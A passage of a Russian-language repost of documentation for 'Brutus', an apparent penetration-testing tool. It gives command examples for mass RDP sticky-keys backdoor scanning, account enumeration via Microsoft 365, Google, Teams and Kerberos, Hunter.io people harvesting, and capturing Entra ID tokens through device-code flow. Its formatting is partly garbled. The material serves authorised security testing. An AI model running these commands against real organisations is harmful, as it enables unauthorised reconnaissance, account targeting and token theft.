    HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
    

    Соображения B-TP (Benign True Positive): Замена бэкдора также может указывать на забытые процедуры восстановления пароля или артефакты авторизованных тестов на проникновение.

    Конвейер массового сканирования RDP

    Для крупномасштабных оценок подкоманда logon выполняет обнаружение бэкдоров на нескольких целях. Она принимает входные данные конвейера, файлы с целями или импорт из nmap/masscan — тестируются только службы RDP:```bash

    Scan a /24 for sticky keys and utilman backdoors

    naabu -host 10.0.0.0/24 -p 3389 -silent |
    nerva --json |
    brutus logon --json -o rdp-findings.json

    Scan from nmap results

    brutus logon --nmap-file scan.xml --json -o rdp-findings.json

    Scan from targets file

    brutus logon --targets-file rdp-targets.txt --json

    Extract critical findings

    jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

    root@kitploit:~
    **Техническая реализация:** поддержка протокола RDP использует [IronRDP](https://github.com/Devolutions/IronRDP) (Rust), скомпилированный в WebAssembly и выполняемый через [wazero](https://github.com/tetratelabs/wazero), что сохраняет нулевую зависимость от CGO и однофайловую архитектуру Brutus.
    
    ---
    
    ## Перечисление учётных записей
    
    Подкоманда `enum` перечисляет, какие оракулы существования учётных записей работают для организации (и перечисляет электронные письма по ним) или перечисляет пользователей Active Directory, всё это без отправки паролей.
    
    ### Перечисление оракулов существования учётных записей
    
    Определите, какие неаутентифицированные оракулы существования учётных записей (microsoft365, google, github, а также оракул Microsoft Teams) работают для организации, проверьте их на известном действительном пользователе, затем перечислите кандидатов электронных писем по работающим оракулам. DNS TXT разведка выявляет кандидатов оракулов; проверка с помощью `--known-valid` является основным моментом. `--known-valid` обязателен, и перечисление выполняется только по оракулам, которые подтверждают его:```bash
    # Discover candidate oracles via DNS and report which ones work
    brutus enum active oracles --domain example.com --known-valid [email protected]
    
    # Enumerate specific emails against the working oracles
    brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
    
    # Enumerate emails from file
    brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
    
    # Generate emails from embedded name lists and enumerate against working oracles
    brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
    
    # Discover working oracles with a known-valid email before large-scale enumeration
    brutus enum active oracles discover --domain example.com --known-valid [email protected]
    

    Перечисление пользователей Kerberos

    Перечисление имен пользователей Active Directory через Kerberos AS-REQ (пароли не отправляются, риска блокировки нет):```bash

    Enumerate specific users

    brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

    Enumerate from file

    brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

    Generate usernames and pipe to Kerberos enum

    brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

    root@kitploit:~
    ### Генерация email/имен пользователей
    
    Генерируйте email-адреса или имена пользователей из встроенных списков имен/фамилий:```bash
    # Generate emails: [email protected]
    brutus enum generate --domain example.com --format flast
    
    # Generate usernames only (no domain): jsmith
    brutus enum generate --format flast
    
    # Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
    brutus enum generate --domain example.com --format first.last
    

    Hunter.io Domain Search

    Обнаружение людей (email, имя, должность, телефон, отдел, уровень должности, уровень уверенности), связанных с доменом, с помощью API Hunter.io Domain Search. Автоматически выполняет пагинацию до получения всех результатов.```bash

    Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

    export HUNTER_API_KEY=your_key_here

    Discover people for a domain

    brutus enum hunter --domain example.com

    Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

    brutus enum hunter --domain example.com --api-key your_key_here

    JSONL output to file (one record per person, with type:"hunter" discriminator)

    brutus enum hunter --domain example.com --output people.jsonl

    Adjust pagination page size (default: 100)

    brutus enum hunter --domain example.com --limit 50

    root@kitploit:~
    ### Microsoft Teams / Entra ID Аутентификация
    
    Получите OAuth2 access token, refresh token и ID token от Microsoft Entra ID (Azure AD) с помощью [device code flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Полученные токены можно использовать для вызовов Microsoft Graph API, перечисления Teams и аудита с помощью таких инструментов, как [ROADtools](https://github.com/dirkjanm/ROADtools) или пользовательских Graph запросов.```bash
    # Authenticate against the common endpoint (any Microsoft tenant)
    brutus enum active teams auth
    
    # Authenticate against a specific tenant by domain or GUID
    brutus enum active teams auth --tenant contoso.com
    brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
    
    # Request a different resource scope (space-separated). The default targets the
    # Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
    # authorized for Microsoft Graph (Graph yields AADSTS65002).
    brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
    
    # Use a custom app registration (your own Azure app client ID)
    brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
    
    # Capture the full token set as JSONL for piping to other tools
    brutus enum active teams auth -o tokens.jsonl
    brutus enum active teams auth --json
    

    Как это работает:

    1. Brutus запрашивает код устройства по адресу login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
    2. Отображается короткий код и URL — откройте URL в любом браузере и введите код
    3. Brutus опрашивает сервер, пока вы не завершите вход, код не истечёт или вы не нажмёте Ctrl+C
    4. При успехе выводится токен доступа, токен обновления и ID токен

    Вывод для человека показывает только первые 20 символов токена доступа (достаточно для проверки). Используйте --json или -o, чтобы захватить полные значения токенов.

    ID клиента по умолчанию: Приложение Microsoft Teams для настольных компьютеров (1fec8e78-bce4-4aaf-ab1b-5451cc387264) — общедоступный клиент первой стороны, поддерживающий поток кода устройства. Переопределите с помощью --client-id, чтобы использовать собственную регистрацию приложения.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

    [*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

    [*] Waiting for you to complete sign-in...

    [+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

    root@kitploit:~
    #### Перечисление пользователей Teams
    
    После аутентификации перечислите корпоративных пользователей Teams по адресу электронной почты. Каждый результат: `exists`, `blocked` (клиент запрещает внешний поиск, но пользователь может существовать), `not found` или `unknown` (ошибка аутентификации/передачи). Личные/аккаунты Live не поддерживаются — только корпоративные клиенты.```bash
    # Device-code auth inline, then enumerate a couple of emails
    brutus enum active teams users -e [email protected],[email protected]
    
    # Generate candidate emails for a domain and enumerate the most-likely 5000
    # (presence and out-of-office are gathered by default; use --no-presence to skip)
    brutus enum active teams users --domain target.com --format first.last --limit 5000
    
    # Enumerate emails from a file
    brutus enum active teams users -E emails.txt
    
    # Reuse a token captured earlier and route through a SOCKS5 proxy
    brutus enum active teams auth -o token.jsonl
    brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
    
    # Provide an access token directly
    brutus enum active teams users -e [email protected] --access-token "$TOKEN"
    

    Когда доступен refresh-токен (через --token-file или --refresh-token), истекший access-токен автоматически обновляется один раз; в противном случае 401 корректно понижается до результата unknown.


    Перечисление аккаунтов Google Workspace

    Проверьте, соответствуют ли адреса электронной почты аккаунтам Google, используя два неаутентифицированных оракула — токен или вход не требуется:

    • Перенаправление SSO AccountChooser — раскрывает аккаунты Workspace в доменах, настроенных на единый вход, а также хост провайдера удостоверений (IdP), на который они перенаправляют (workspace-sso).
    • Запрос GXLU Gmail — раскрывает аккаунты с поддержкой Gmail (gmail).

    Каждый результат — exists (с методом подтверждения и, для SSO, хостом IdP) или not found.```bash

    Enumerate a couple of emails

    brutus enum active google -e [email protected],[email protected]

    Generate candidate emails for a domain and enumerate the most-likely 5000

    brutus enum active google --domain target.com --format first.last --limit 5000

    Enumerate emails from a file

    brutus enum active google -E emails.txt

    Route through a SOCKS5 proxy and raise concurrency

    brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

    root@kitploit:~
    `--domain` повторно использует тот же генератор имен/фамилий с ранжированием по частоте, что и
    `enum generate`; `--format` выбирает макет имени пользователя, а `--limit` ограничивает
    генерацию первыми N (наиболее вероятными) кандидатами. `--domain` может комбинироваться
    с `-e`/`-E`.
    
    ---
    
    ## Известные ограничения
    
    ### Эвристическое обнаружение залипания клавиш
    
    - **Чередующиеся ложноотрицательные результаты:** Эвристическое обнаружение (`brutus logon` без `--experimental-ai`) может выдавать ложноотрицательные результаты при повторных сканированиях одной и той же цели. После успешного обнаружения окно cmd.exe остается открытым на сервере. Последующие подключения видят cmd.exe в базовом кадре, и поскольку отправка 5x Shift не создает нового окна, разница в пикселях минимальна — в результате выносится вердикт «чисто». Это не влияет на режим `--experimental-ai`, который использует анализ кадра ответа напрямую через Vision API (а не разницу между базовым и ответным кадром) и надежно идентифицирует окно терминала независимо от предыдущего состояния.
    - **Обходной путь:** Используйте `--experimental-ai` с установленным `ANTHROPIC_API_KEY` для надежного обнаружения при повторных сканированиях или дайте RDP-сессии сброситься между сканированиями.
    
    ### Плагин браузера
    
    - Требуется локально установленный Chrome/Chromium
    - Безголовый режим может работать не на всех системах
    - Некоторые страницы входа с большим количеством JavaScript могут требовать дополнительного времени ожидания
    
    Скачать инструмент